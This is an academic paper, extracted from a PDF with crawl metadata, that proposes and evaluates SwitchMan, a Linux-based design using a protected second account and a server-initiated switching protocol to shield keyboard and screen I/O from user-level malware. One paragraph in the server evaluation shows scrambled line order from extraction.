"fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 24401, 0.56265]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 24401, 0.83198]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 323, false], [323, 1010, null], [1010, 1293, null], [1293, 1906, null], [1906, 2304, null], [2304, 2726, null], [2726, 3103, null], [3103, 3597, null], [3597, 3880, null], [3880, 4207, null], [4207, 4604, null], [4604, 4874, null], [4874, 5090, null], [5090, 5356, null], [5356, 5652, null], [5652, 5943, null], [5943, 6589, null], [6589, 6911, null], [6911, 7339, null], [7339, 7966, null], [7966, 8458, null], [8458, 9029, null], [9029, 9121, null], [9121, 9595, null], [9595, 10153, null], [10153, 10608, null], [10608, 11119, null], [11119, 11697, null], [11697, 12466, null], [12466, 12858, null], [12858, 13441, null], [13441, 13855, null], [13855, 14422, null], [14422, 14648, null], [14648, 15207, null], [15207, 15597, null], [15597, 16066, null], [16066, 16396, null], [16396, 16829, null], [16829, 17326, null], [17326, 17919, null], [17919, 18401, null], [18401, 18954, null], [18954, 18963, null], [18963, 19359, null], [19359, 19806, null], [19806, 20120, null], [20120, 20426, null], [20426, 20839, null], [20839, 21444, null], [21444, 22028, null], [22028, 22529, null], [22529, 23177, null], [23177, 23744, null], [23744, 24401, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 323, true], [323, 1010, null], [1010, 1293, null], [1293, 1906, null], [1906, 2304, null], [2304, 2726, null], [2726, 3103, null], [3103, 3597, null], [3597, 3880, null], [3880, 4207, null], [4207, 4604, null], [4604, 4874, null], [4874, 5090, null], [5090, 5356, null], [5356, 5652, null], [5652, 5943, null], [5943, 6589, null], [6589, 6911, null], [6911, 7339, null], [7339, 7966, null], [7966, 8458, null], [8458, 9029, null], [9029, 9121, null], [9121, 9595, null], [9595, 10153, null], [10153, 10608, null], [10608, 11119, null], [11119, 11697, null], [11697, 12466, null], [12466, 12858, null], [12858, 13441, null], [13441, 13855, null], [13855, 14422, null], [14422, 14648, null], [14648, 15207, null], [15207, 15597, null], [15597, 16066, null], [16066, 16396, null], [16396, 16829, null], [16829, 17326, null], [17326, 17919, null], [17919, 18401, null], [18401, 18954, null], [18954, 18963, null], [18963, 19359, null], [19359, 19806, null], [19806, 20120, null], [20120, 20426, null], [20426, 20839, null], [20839, 21444, null], [21444, 22028, null], [22028, 22529, null], [22529, 23177, null], [23177, 23744, null], [23744, 24401, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 24401, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 24401, null]], "pdf_page_numbers": [[0, 0, 1], [0, 323, 2], [323, 1010, 3], [1010, 1293, 4], [1293, 1906, 5], [1906, 2304, 6], [2304, 2726, 7], [2726, 3103, 8], [3103, 3597, 9], [3597, 3880, 10], [3880, 4207, 11], [4207, 4604, 12], [4604, 4874, 13], [4874, 5090, 14], [5090, 5356, 15], [5356, 5652, 16], [5652, 5943, 17], [5943, 6589, 18], [6589, 6911, 19], [6911, 7339, 20], [7339, 7966, 21], [7966, 8458, 22], [8458, 9029, 23], [9029, 9121, 24], [9121, 9595, 25], [9595, 10153, 26], [10153, 10608, 27], [10608, 11119, 28], [11119, 11697, 29], [11697, 12466, 30], [12466, 12858, 31], [12858, 13441, 32], [13441, 13855, 33], [13855, 14422, 34], [14422, 14648, 35], [14648, 15207, 36], [15207, 15597, 37], [15597, 16066, 38], [16066, 16396, 39], [16396, 16829, 40], [16829, 17326, 41], [17326, 17919, 42], [17919, 18401, 43], [18401, 18954, 44], [18954, 18963, 45], [18963, 19359, 46], [19359, 19806, 47], [19806, 20120, 48], [20120, 20426, 49], [20426, 20839, 50], [20839, 21444, 51], [21444, 22028, 52], [22028, 22529, 53], [22529, 23177, 54], [23177, 23744, 55], [23744, 24401, 56]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 24401, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
d84248efbbd2cfd7659438bbf5352e71f1c8ffe9
|
SwitchMan: An Easy-to-Use Approach to Secure User Input and Output
Shengbao Zheng Duke University szheng@cs.duke.edu
Zhenyu Zhou Duke University zzy@cs.duke.edu
Heyi Tang Tsinghua University tangheyi.09@gmail.com
Xiaowei Yang Duke University xwy@cs.duke.edu
Abstract—Modern operating systems for personal computers (including Linux, MAC, and Windows) provide user-level APIs for an application to access the I/O paths of another application. This design facilitates information sharing between applications, enabling applications such as screenshots. However, it also enables user-level malware to log a user’s keystrokes or scrape a user’s screen output. In this work, we explore a design called SwitchMan to protect a user’s I/O paths against user-level malware attacks. SwitchMan assigns each user with two accounts: a regular one for normal operations and a protected one for inputting and outputting sensitive data. Each user account runs under a separate virtual terminal. Malware running under a user’s regular account cannot access sensitive input/output under a user’s protected account. At the heart of SwitchMan lies a secure protocol that enables automatic account switching when an application requires sensitive input/output from a user. Our performance evaluation shows that SwitchMan adds acceptable performance overhead. Our security and usability analysis suggests that SwitchMan achieves a better tradeoff between security and usability than existing solutions.
I. INTRODUCTION
An important goal of computer security is to protect private user data from unauthorized access or modification. In recent years, we have witnessed a wide range of new technologies to protect user data, including full disk encryption, secure data transmission protocols such as TLS/SSL, and secure cloud storage. However, sensitive user input/output data remain vulnerable to data stealing attacks by malware residing in a user’s computer. Keyloggers can capture every keystroke of a user and screen scrapers can take screenshots of any displayed window. As an example, between 2013 and 2015, attackers used the Carbanak malware [1] to infect bank computers and then recorded videos of a victim’s screen and keystrokes to obtain sensitive banking information. They successfully stole money from around 100 financial institutions and the total financial loss amounted to almost one billion dollars.
Protecting sensitive user input/output is challenging because modern operating systems for personal computers (including Linux, MAC, or Windows) provide user-level APIs for one application to share the I/Os with another application running with the same user identifier. For example, X11 provides a function called XGrabKeyboard() to allow an application to capture the keyboard events of another application. Once a client application connects to an X server, it would share its I/O paths with all clients connected to the same X server. These function calls allow any malware to steal the keyboard input and screen output of a user’s applications.
Previous proposals to address this challenge fall into four broad categories. Work in the first category protects a user’s I/O paths at the hardware level. An example is the Intel Protected Transaction Display (PTD) solution [2]. Work in the second category proposes to use a second mobile device as a trusted input/output device [3], [4], [5], [6], [7], [8]. Work in the third category uses virtual machines to isolate trusted applications [9], [10]. Finally, work in the fourth category proposes to enhance an OS by implementing fine-grained access control for I/O interfaces so that one application cannot access another application’s I/O paths by default [11], [12], [13], [14].
Each of the previous solutions requires a unique trusted computing base (TCBs). However, they all require significant user management to achieve the desired level of security. A user needs to decide which data are sensitive and then switch to a trusted hardware (e.g., a mobile device) or a trusted terminal (e.g., one runs inside a trusted virtual machine) or both to input/output sensitive data. We hypothesize that it is challenging for a non-expert user to manage these tasks. Therefore, it is beneficial to explore a design alternative that can automatically manage the switching to sensitive data input/output without user involvement.
In this work, we propose SwitchMan, an architecture that enables a server to switch a user to a secure terminal for sensitive user input/output. At the heart of SwitchMan lies a protocol that enables a remote server (e.g., a web server) to embed a secure terminal switching request inside its traffic stream even if the client’s software (e.g. a browser) is untrusted (§ IV-C). The TCB running on the client will intercept the request and switch the user to a secure terminal.
The SwitchMan architecture can support different TCBs. One design choice is to run a secure terminal inside a trusted VM, and let the VM manager (VMM) intercept the switching request. As a preliminary step, in this paper, we assume that the OS kernel and its graphical interface are trusted. We use the OS’s built-in user-level separation mechanism to create a trusted input/output terminal. This preliminary design allows us to quickly prototype SwitchMan, and evaluate its performance. It is our future work to study how to reduce SwitchMan’s TCB.
In the preliminary SwitchMan design, the OS provides each
user with two accounts: a protected account and a regular account. The protected account is a “commodity” account such that it only runs a small set of applications trusted by the OS vendor. A user cannot install arbitrary applications under this account and can only use it as a trusted terminal, i.e., inputting and outputting sensitive data. A user’s regular account is the same as the account a user has today. He can use it without the above mentioned constraints.
We have implemented the SwitchMan design using Linux and evaluated its performance. We have also conducted a preliminary analysis of its security and usability (§ VI). Our performance evaluation shows that SwitchMan adds low overhead to the existing system. Our usability analysis suggests that SwitchMan is easier to use than previous proposals.
We make two main contributions in this work. First, we introduce the SwitchMan architecture as an easy-to-use alternative to secure user input/output. Second, we build a SwitchMan prototype using Linux and evaluate its performance. Our analysis shows that it improves personal computers’ security compared to the status quo and is easy to use. Our performance evaluation shows that SwitchMan has low overhead.
II. RELATED WORK
In this section, we describe the related work.
VM-based isolation: A large body of work proposes to use virtual machines to separate untrusted applications from trusted ones [9], [10], [15], [16], [17]. VM-based isolation offers strong security but it requires significant user management effort. A user must choose the right VM for the right applications. Otherwise, untrusted applications may gain access to a user’s sensitive data. The Android [17] architecture assigns each application a unique user identifier. This isolation model is similar to SwitchMan’s. However, the Android architecture only allows an application to set its I/O sharing permission at the application level, not based on the sensitivity of its I/O data. An application can choose to allow I/O sharing or not. If it allows I/O sharing, then malware can steal its I/O data; if it does not, then a user cannot take a screenshot of the application. In contrast, SwitchMan allows a server to choose the level of I/O protection based on the sensitivity level of the data. The same application, e.g., a browser, can allow screenshots for non-sensitive data but prohibits I/O data sharing for sensitive data.
Device-level isolation: There also exist proposals that use a personal device such as a mobile phone to input/output sensitive user data [3], [5], [6], [7], [8], [18], [19]. These proposals assume that a user’s personal device is trusted and use it for the input or output of sensitive data. We consider it inconvenient for users to use a separate device for sensitive input/output. In addition, smartphones can also be infected with malware and may no longer be trusted.
Securing the input/output path by minimizing TCB: Some researchers argue that obtaining input/output data does not require a general purpose OS and propose to use a separate module isolated from a user’s OS to receive a user’s input/output data. Borders et al. propose to use a small Trusted Input Proxy (TIP) [20] to receive secure user input. The Cloud Terminal architecture [21] proposes to run all application logics inside a server hosted at a cloud provider, including the graphic rendering logic. A user’s computer only runs a small TCB to receive input from the user and render graphical output from an application running in the cloud. Bumpy [4] uses an encrypted keyboard and mouse to protect sensitive user input. Zhou et al. [22] propose to build a trusted I/O path between I/O devices and a user’s trusted program.
All these solutions assume that the OS cannot be trusted and require a user to initiate the switching to a secure input/output device. They require a user to install additional software or require special hardware such as encrypted keyboards [4].
Fine-grained I/O control: Nitpicker [13] uses a minimized secure graphical user interface. SELinux [11], [12] proposes to enforce strict access control of an X server. DriverGuard [14] proposes to use fine-grained I/O flow protection in the kernel space. However, these solutions require significant changes on application program interfaces (APIs), operating systems, or window managers, and have not gained wide adoption.
Advanced hardware: Intel protected transaction display [2] proposes to use a random input pin pad to replace keyboard input to prevent keylogging. It provides hardware-level support to prevent an application from taking screenshots of the input pin pad. However, it has not been widely available on general purpose computers.
Compared to the existing solutions, SwitchMan has two main differences. First, it does not require user involvement to switch from an untrusted environment to a trusted one. Second, it does not require changes on client applications, and only requires a small set of changes on the OSes of a client and a server, and on the server software.
III. OVERVIEW
We describe SwitchMan’s design goals, assumptions, and adversary model in this section.
A. Goals
Protecting sensitive input/output data against user-level malware. SwitchMan aims to secure sensitive input/output data from user-level malware running on a conventional multi-user OS such as Windows, MAC OS, or Linux. In this work, we only consider GUI and keyboard access, and leave how to extend the design to multi-modal interactions for future work. We do not aim to prevent data leakage when attackers compromise a user’s OS or other software with root privilege. Local applications may store sensitive data on a computer’s permanent storage. Securing access to such data is outside the scope of this work.
Easy to use. SwitchMan aims to be easy to use, as past experience suggests that it is challenging for non-expert users to adopt sophisticated or cumbersome security solutions [23].
Efficient. We aim to make SwitchMan efficient to use. SwitchMan should not introduce user perceivable performance
degradation.
B. Assumptions
**Trusting OS and its vendor.** SwitchMan’s design assumes that a user’s OS kernel and the graphical system distributed with the OS can be trusted, as in previous work [3], [5].
We make this assumption mainly because of our design goals. Trusting the OS makes SwitchMan easy-to-use. By trusting the OS, we can provide a turnkey solution to the user. An OS vendor can distribute SwitchMan with the OS and turn it on by default. We expect that ease of use can increase the chance of user adoption.
Admittedly, trusting the OS has the drawback that when a user’s OS is compromised, SwitchMan cannot secure the access to sensitive user input and output data. However, we believe there are a few remedies that can reduce the security risk of this assumption.
First, there exist techniques such as the Integrated Measurement Architecture (IMA) [24] that can measure and attest an OS’s integrity. Second, trusting an OS significantly reduces the TCB compared to the status quo. Today, if one application residing in a user’s account is compromised, the application can steal sensitive user input/output. We obtain data from the Common Vulnerabilities and Exposures (CVE) dataset [25] for the time period from 2013 to 2018. We find that the percentage of privilege escalation vulnerabilities and root privilege vulnerabilities among all vulnerabilities are in the range of [3.01%, 9.34%] and [0.17%, 0.65%] respectively. This result shows that the number of OS vulnerabilities is much fewer than the total number of vulnerabilities, suggesting that trusting the OS rather than all applications can significantly reduce the security risk of data leakage.
Finally, there exists market competition among OS vendors. The OS vendors are accountable for security breaches caused by OS compromises, and accountability can motivate an OS vendor to improve its security, reducing the risk that the OS is compromised.
**Secure Storage & Network Transmission.** We assume that sensitive user data can be securely transmitted by protocols such as HTTPS/TLS or SSH and can be securely stored on disk by file system encryption technologies such as [26].
C. Adversary Model
**No Physical Access.** We assume an attacker does not have physical access to a user’s computer. Therefore, an attacker cannot capture a user’s screen with a camera or capture a user’s key strokes with a hardware keylogger.
**Malicious Man-in-the-Middle (MITM).** We assume that there are active attackers in the middle of the network who attempt to modify and access network traffic to further extract user sensitive data. We assume the malware residing in a user’s computer and MITM may collude to attempt to steal user data.
IV. SWITCHMAN DESIGN
In this section, we describe how we design SwitchMan to achieve its design goals.
**SwitchMan Architecture**
Figure 1 shows the SwitchMan’s architecture. A computer’s OS assigns two user accounts to one user. One is a regular account, where the user has the freedom to run any application. The other is a protected account. A main purpose of this account is to provide a trusted terminal for users to input/output sensitive data. Each user account has its own display server. Applications running under the regular account cannot connect to the protected account’s display server. Applications running under the regular account cannot connect to the protected account’s display server. Each server uses its own virtual terminal so that their I/O paths are isolated at the software level.
The design of SwitchMan includes four main components: 1) a program called the Trusted I/O Proxy (TIOP) running under a user’s protected account; 2) a kernel module called SwitchMan for managing the switching between a user’s two accounts; 3) a kernel filter for managing sensitive network input/output data; and 4) a network protocol which we call SwitchMan’s Network Protocol (SNP). SNP enables a remote server to send a request to a user’s OS to switch the user to his protected account for accessing sensitive input/output data (§ IV-C). SwitchMan can secure both local and network input/output data.
**Trusted Input/Output Proxy (TIOP)**
In the SwitchMan design, a user interacts with sensitive data via TIOP. One can view TIOP as a simple web browser distributed by a user’s OS vendor. It displays the sensitive output received from a remote server and takes a user’s input. To be secure, the OS will prohibit a user from installing
arbitrary extensions to TIOP and may also disable advanced browser features such as Javascript to reduce security risk.
Figure 2 shows a sample user experience flow when a user is using SwitchMan. A user does his normal operations in his regular account. When a server sends a switching account, a user is switched to using TIOP under his protected account. A user must know whether he is under his protected account to prevent a malicious program from impersonating TIOP. In the SwitchMan design, a user chooses a secret background image for his protected account when he creates his accounts. The image will be encrypted and stored with a user’s other login credentials. A user will see this image when he is under his protected account. In the example of Figure 2, the white-check-mark-on-green-shield image is the user’s chosen background image.
TIOP is the only application connected to the virtual terminal running under the protected account. Thus, other applications under a user’s normal account cannot connect to the same protected virtual terminal to steal sensitive user input/output. A user is switched back to his regular account after he finishes sensitive input/output.
C. SwitchMan’s Network Protocol (SNP)
SwitchMan’s design includes a HTTPS-based protocol which we refer to as SwitchMan’s Network Protocol (SNP). SNP enables a remote server to securely request the SwitchMan OS to switch a user to his protected account. We choose to base the design on HTTPS due to its prevalence. However, we believe SNP can be adapted to other TCP-based protocols.
SNP has three main features. First, it is backward compatible with the present TLS/TCP protocol stack. A non-SwitchMan-upgraded client can continue to connect to a SwitchMan-upgraded server and vice versa. Second, the protocol is resistant to MITM attacks. A MITM attacker can at most launch denial of service attacks by discarding traffic, but cannot steal a user or a server’s sensitive data. Third, it does not require the client application (e.g. a browser) with which the server interacts to be trusted. A malicious browser is treated the same way as an MITM. That is, it can at most discard a server’s request to switch a user to a protected account, but cannot steal sensitive input/output data.
Next we describe how SNP works as shown in Figure 3.
1) Step 1: TCP/TLS handshake: In the first step, a client connects to a server via HTTPS. This initial step is the same as the standard TCP/TLS protocol except that 1) a SwitchMan-enabled client and server will exchange additional information via TCP options and 2) a client’s OS will intercept and store a server’s SSL/TLS certificate, as shown in pseudo code SNP Step 1. We introduce a new TCP option $SM$ for backward compatibility. If a client does not include this option in its initial handshake with the server, it indicates the client is not
SwitchMan-enabled. Similarly, if the server does not echo back the TCP option `SM_Echo`, it indicates the server is not SwitchMan enabled. When either of these happens, SNP falls back to the standard HTTPS. During this step, the client OS will also intercept the server’s SSL/TLS certificate for later verification purpose. We note that a malicious browser or malware with user-privilege cannot intercept a TCP option, because it is the OS that receives and processes a TCP option and the OS can decide not to pass it to an application. Therefore, malware cannot degrade a SwitchMan-enabled client/server to stop running SNP.
2) **Step 2: Server Initiated Switching**: After a client and a server have established an HTTPS connection, they may proceed with their normal data exchange. When the server desires to receive or send sensitive data to the client, it will send a switching request to the client. When a client OS receives a server’s switching request, it needs to 1) validate the request from the server, and 2) invoke the TIOP program from a user’s protected account to exchange sensitive data with the server. To accomplish the first task, we let the server sign its request. Since in Step 1, the client OS intercepts the server’s TLS certificate. It can validate the authenticity of the server request with that certificate.
It is challenging to accomplish the second task, because TIOP must establish a secure connection with the server, authenticate itself to the server, and associate its new connection with the existing connection established in Step 1. Otherwise, when the server receives the new connection from the TIOP program, it cannot validate whether the client is the one it interacts with previously, and does not know what sensitive data to send to or receive from the client.
One can use a secret session identifier to establish the association between the client/server’s original connection and the new connection TIOP initiates. The server generates a secret identifier, and uses it to uniquely identify its request, and sends it only to the intended client.
However, how to send this secret session identifier securely becomes a design challenge. In the SwitchMan design, the communication channel between a server and a client is either a TCP option field, or an HTTPS connection. If the server sends the secret session identifier to the client via a TCP option, it is not encrypted. A MITM may intercept this session identifier and impersonate the TIOP program to establish a connection with the server. If the server sends it encrypted in the HTTPS payload, an untrusted application will receive it and may impersonate the TIOP program.
We address this challenge by splitting the secret session identifier into two halves. The server sends the first half of the session identifier as a TCP option and the second half in the HTTPS payload to the client. The client’s OS intercepts the first half, and the untrusted application (e.g., a browser) receives the second half. The server signs the second half and includes the signature in the HTTPS payload to prevent an untrusted application from tampering the session identifier. The untrusted application stores the second half at a well known location. The TIOP program can read it from the well known location, validate a server’s signature, combine the two halves into a secret session identifier, and establish an HTTPS connection with the intended server. TIOP will include the secret session identifier in the payload of its HTTPS connection to authenticate itself to the server and associate its new connection with the previous connection between the untrusted client program and the server. The pseudo-code SNP Step 2 illustrates this design.
**SNP Step 2**:
```plaintext
Browser → Server : Request
Browser ← Server : Normal_Data
// First half of the switching request.
TIOP ← Server : TCP_Option(nonce1, nonceid)
// Second half of the switching request.
Browser ← Server :
https(JS(URL_sensitive, nonce2, nonceid, signature))
```
The `nonce1` and `nonceid` fields constitute the first half of the secret session identifier, and `nonce2` and `nonceid` constitute the second half of the secret session identifier. SwitchMan design assumes the untrusted application is a browser. So the server will send the second half of the session identifier in a Javascript with code to store it at a well known location. In the SwitchMan design, a user can read down from a protected account to his regular account. So the TIOP program can read any file located inside a user’s regular account.
3) **Step 3: TIOP Connects to the Server**: In SNP Step 3, TIOP connects to the sensitive URL (`URL_sensitive`) sent by the server. The TIOP program authenticates itself by presenting the secret session identifier composed by `nonce1`, `nonce2`, and `nonceid`. Note that a malicious application cannot modify `URL_sensitive` because it is protected by the server’s signature in Step 2.
**SNP Step 3**:
```plaintext
TIOP → Server :
https(URL_sensitive, nonce1, nonce2, nonceid)
TIOP ← Server : Sensitive_Data
```
With this design, a MITM cannot intercept the secret session identifier as it is protected by the HTTPS connection. In the meantime, the untrusted application cannot impersonate TIOP either, because it does not have the first half of the secret session identifier.
4) **Step 4: Switching back to the regular account**: Finally, when TIOP and the server finish exchanging sensitive data, the server can actively terminate the connection, and resume the session between itself and the browser.
**D. Deployment Modifications**
Both a client and a server’s OS needs to be modified to support SwitchMan’s new TCP options and SwitchMan functions. In addition, we also need to modify a web server to deploy SwitchMan. The server software must separate sensitive data from non-sensitive data. But SwitchMan does not require client applications to be modified.
V. Implementation
As a proof of concept, we implemented SwitchMan using the open source platform Linux. We implemented the SwitchMan component as a daemon process running with root privilege. It starts a user’s account on two different virtual terminals: the default /dev/tty? for a user’s regular account, and another available terminal /dev/ttyyn for a user’s protected account, where n is a number ranging from 1 to 6. The SwitchMan component is in charge of three tasks: 1) extracting a server’s TLS certificate; 2) invoking a user’s TIOP program; and 3) switching a user to the virtual terminal running under his protected account. Our current implementation has 4900 lines of C code. We implemented the TIOP program using the X11’s GUI.
We implemented the Filter component and the new TCP option field as a kernel patch to Linux 3.13.11. We modified the kernel’s TCP handling code to add and strip off the TCP options. When a server requests a trusted I/O path, the Filter component strips off nonce1 and session_id fields carried by a TCP option, and passes them to SwitchMan, which in turn passes them to a user’s TIOP program. The total patch is around 200 lines of C code.
A SwitchMan-enabled server uses the same kernel to add and extract new TCP options. We implemented a server application which generates the switching request, and splits content into normal and sensitive data. The total changes is around 900 lines of Java code.
VI. Evaluation
In this section, we evaluate the design and implementation of SwitchMan from three aspects: usability, security and performance.
1) Usability. A strong motivation of this work is to make SwitchMan easy to use. We compare its usability with related work.
2) Security. Due to space limit, we omit a thorough security analysis of the SwitchMan design under various threats. Instead, we use the size of TCB of a solution as the security indicator.
3) Performance. Finally, we evaluate SwitchMan’s performance overhead using a prototype implementation. We measure both the client and server’s communication overhead.
We compare SwitchMan with three other systems to evaluate its strengths and weaknesses: Qubes OS [9], Cloud Terminal [21], and BitE [3]. Qubes OS is a secure desktop operating system that isolates different applications into different virtual machines. Cloud Terminal installs a secure thin terminal on a user’s computer and moves all other application logics to a cloud. Each application runs inside a separate VM on a cloud and a user only uses the secure thin terminal for input and output. BitE uses a mobile phone as a secure input/output device.
A. Usability
Evaluating the usability of a security system is challenging, as there is no single usability metric that measures the usability of a system. To address this challenge, we use several usability factors to analyze SwitchMan’s user friendliness.
Nothing-to-carry considers whether a user needs an additional physical device (e.g., a phone) to use a system.
No user management effort means a user does not need to manually manage the switching between a trusted I/O path and an untrusted one.
No noticeable performance degradation means a user does not experience noticeable slow down when using a system.
Comparison: Table I shows the comparison results. As can be seen, SwitchMan is one of the most user friendly system. It does not require a user to carry any additional device and requires no user management effort in switching between the trusted and untrusted I/O paths. As we soon show, SwitchMan introduces a low latency when a user switches to his protected account. BitE requires a user to carry a mobile device. Qubes requires a user to manage the switching between different VMs, while Cloud Terminal requires a user to use a special escape sequence to launch the terminal. In addition, Qubes OS runs one VM for applications in one domain, imposing significant memory and computational overhead. Furthermore, different from SwitchMan, Cloud Terminal, Qubes OS, and BitE all require a user to determine the sensitiveness of data, and initiate the I/O path switching. If a user fails to identify the sensitiveness of data or forgets to initiate the switching, these solutions cannot help. In contrast, SwitchMan does not require user management, and lets a server initiate the switching from an untrusted I/O path to a trusted one.
B. Security
We use the size of TCB to estimate the security level of a system. As can be seen in Table I, SwitchMan’s TCB size is on par with that of Qubes OS and that of BitE, but is larger than Cloud Terminal’s. Qubes OS uses a VM to isolate the guest OS each application runs on, but Qubes itself, the administrative VM, and the guest OS that runs the trusted applications must be trusted. Cloud Terminal uses the network protocol stack provided by a commodity OS and it needs to trust this part of the OS and a set of binaries. BitE trusts the OS kernel. In addition, BitE also trusts the additional mobile devices. Nowadays the size of a mobile phone OS is similar to that of a PC OS. So we consider the size of BitE and that of SwitchMan are similar.
C. Performance
For all the following experiments, we use two Dell Optiplex PCs with Intel Core i7 CPU 860 @ 2.80GHz and 8 GB RAM as the client and the server machine. Both machines use Ubuntu 18.04.
I/O Path Switching Latency: We test the I/O path switching latency using our prototype implementation of SwitchMan. In
our experiments, we access a test web page from a user’s regular account, and switch a user to his protected account when receiving a server’s switching request. We repeat the experiments 10k times and measure the average latency. The experiments show that the average latency for switching is around 14ms.
**Extra Latency:** We run experiments to measure the extra latency SwitchMan introduces to access a normal web page. The latency is caused by the HTTPS/TLS connection established by TIOP. We connect a client to one of the top five websites and top five bank sites ranked by Alexa [27]. We assume each of the web pages has a login button. We then simulate the case where a user clicks on the login button and the server requests a trusted I/O path for the user to input his login information. We measure the time from the client’s OS receiving the server’s request to TIOP finishing loading the login page. We consider this time as the extra latency to load the entire page. We repeat the experiments for each site 500 times, and measure the average extra latency and standard deviation, and show them in Figure 4. As can be seen, the extra latency is less than 0.5s for all sites. We consider this extra latency acceptable for improved security.
**Client Computational Resource Overhead:** We measure the extra computational resource overhead introduced by SwitchMan to a client computer. With SwitchMan, a client’s computer needs to run an extra graphic server, the kernel SwitchMan module, and TIOP. We measure how much these processes cost. For our implementation, the total memory cost of all SwitchMan’s components is $280M$. And there is nearly no difference in the number of system operations per second and CPU resources consumption, since the extra graphical server is running at the background and usually stays in a “sleep” condition. We also measure the kernel module SwitchMan’s memory consumption: when SwitchMan is running as a daemon, it takes $15160k$ mapped memory. We consider this overhead acceptable, given that modern PCs typically have at least a few gigabytes of memory.
**Memory Cost Comparison:** The memory cost of our experimental machine during idle time is $0.933GB$. When SwitchMan is turned on, the memory cost is $1.213GB$. When we run Qubes OS with 5 VMs, the cost is $2.870GB$. This is because SwitchMan just uses an extra virtual terminal to launch another graphical server, while Qubes uses different VMs to launch an operating system module.
### D. Server Evaluation
**Server Side Latency:** We test the overhead on the server side when a server sends files with varying sizes. The server side overhead mainly comes from the additional SNP data a server sends at the connection setup time and during the client account switching time. We measure the time from when a connection is established to when it is finished.
requests increases from two to compared to the normal server when the number of concurrent server and a normal server. SwitchMan adds a small latency results. With the increasing number of concurrent requests, the experiment, we use a file size of 300 bytes. Figure 6 shows the latency at the server side when there are multiple simultaneous connections. For this experiment, we use a file size of 300 bytes. Figure 6 shows the results. With the increasing number of concurrent requests, the average page load time slightly increases for both SwitchMan server and a normal server. SwitchMan adds a small latency compared to the normal server when the number of concurrent requests increases from two to 1000.
VII. DISCUSSION AND FUTURE WORK
In this section, we discuss a few additional design issues and future work.
SwitchMan needs OS modifications but does not require modifications of client applications. Although we have kept the modifications minimal and much fewer than previous proposals [3], [9], [21], we acknowledge that such modifications may not be adopted by OS vendors. However, our goal as researchers is to provide an easy to use security alternative for the real world to choose from.
We use a server initiated switching design. This design may enable a malicious server to unnecessarily switch a user to his protected account, launching a denial of service attack. Malicious client software cannot launch such an attack. SwitchMan’s design allows a user to use a special keystroke sequence to leave the protected account, and future work can add a blacklist option to allow a user to blacklist such a malicious server.
One might argue that it is a client’s interest to protect its sensitive data. Therefore a server-initiated protection mechanism has ill-aligned incentives. However, in practice, since there are multiple services competing for customers, we believe they have incentives to offer security-enhanced services to their customers. For instance, a bank may desire to adopt our solution to prevent its customers’ passwords from being stolen, and customers may prefer a bank that offers such a solution.
Finally, we currently design TIOP as a simple HTML browser without advanced features such as Javascript to avoid security vulnerabilities. Future work can extend TIOP to be a secure and fully functioning browser.
VIII. CONCLUSION
In this paper, we present SwitchMan, an architecture that enables a server to automatically switch a user to a secure terminal for sensitive user input/output. Our experiments and analysis suggest that SwitchMan is lightweight and easy to use. Protecting a user’s sensitive information from being stolen by malware remains an open problem. We believe SwitchMan offers a valuable design alternative for the real-world to adopt.
REFERENCES
|
{"Source-Url": "https://users.cs.duke.edu/~zzy/file/IWPE19_paper_22.pdf", "len_cl100k_base": 7384, "olmocr-version": "0.1.50", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 29572, "total-output-tokens": 9342, "length": "2e12", "weborganizer": {"__label__adult": 0.0005078315734863281, "__label__art_design": 0.0009307861328125, "__label__crime_law": 0.0019283294677734375, "__label__education_jobs": 0.0009212493896484376, "__label__entertainment": 0.0001634359359741211, "__label__fashion_beauty": 0.00021398067474365232, "__label__finance_business": 0.00058746337890625, "__label__food_dining": 0.0003349781036376953, "__label__games": 0.0012359619140625, "__label__hardware": 0.00925445556640625, "__label__health": 0.0006480216979980469, "__label__history": 0.00038552284240722656, "__label__home_hobbies": 0.0001596212387084961, "__label__industrial": 0.0007066726684570312, "__label__literature": 0.00030112266540527344, "__label__politics": 0.00037598609924316406, "__label__religion": 0.0004780292510986328, "__label__science_tech": 0.295166015625, "__label__social_life": 0.00011736154556274414, "__label__software": 0.0859375, "__label__software_dev": 0.5986328125, "__label__sports_fitness": 0.00020396709442138672, "__label__transportation": 0.0004887580871582031, "__label__travel": 0.00016999244689941406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 40376, 0.01658]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 40376, 0.31741]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 40376, 0.88205]], "google_gemma-3-12b-it_contains_pii": [[0, 5473, false], [5473, 11569, null], [11569, 16042, null], [16042, 18925, null], [18925, 24879, null], [24879, 30351, null], [30351, 33218, null], [33218, 39062, null], [39062, 40376, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5473, true], [5473, 11569, null], [11569, 16042, null], [16042, 18925, null], [18925, 24879, null], [24879, 30351, null], [30351, 33218, null], [33218, 39062, null], [39062, 40376, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 40376, null]], 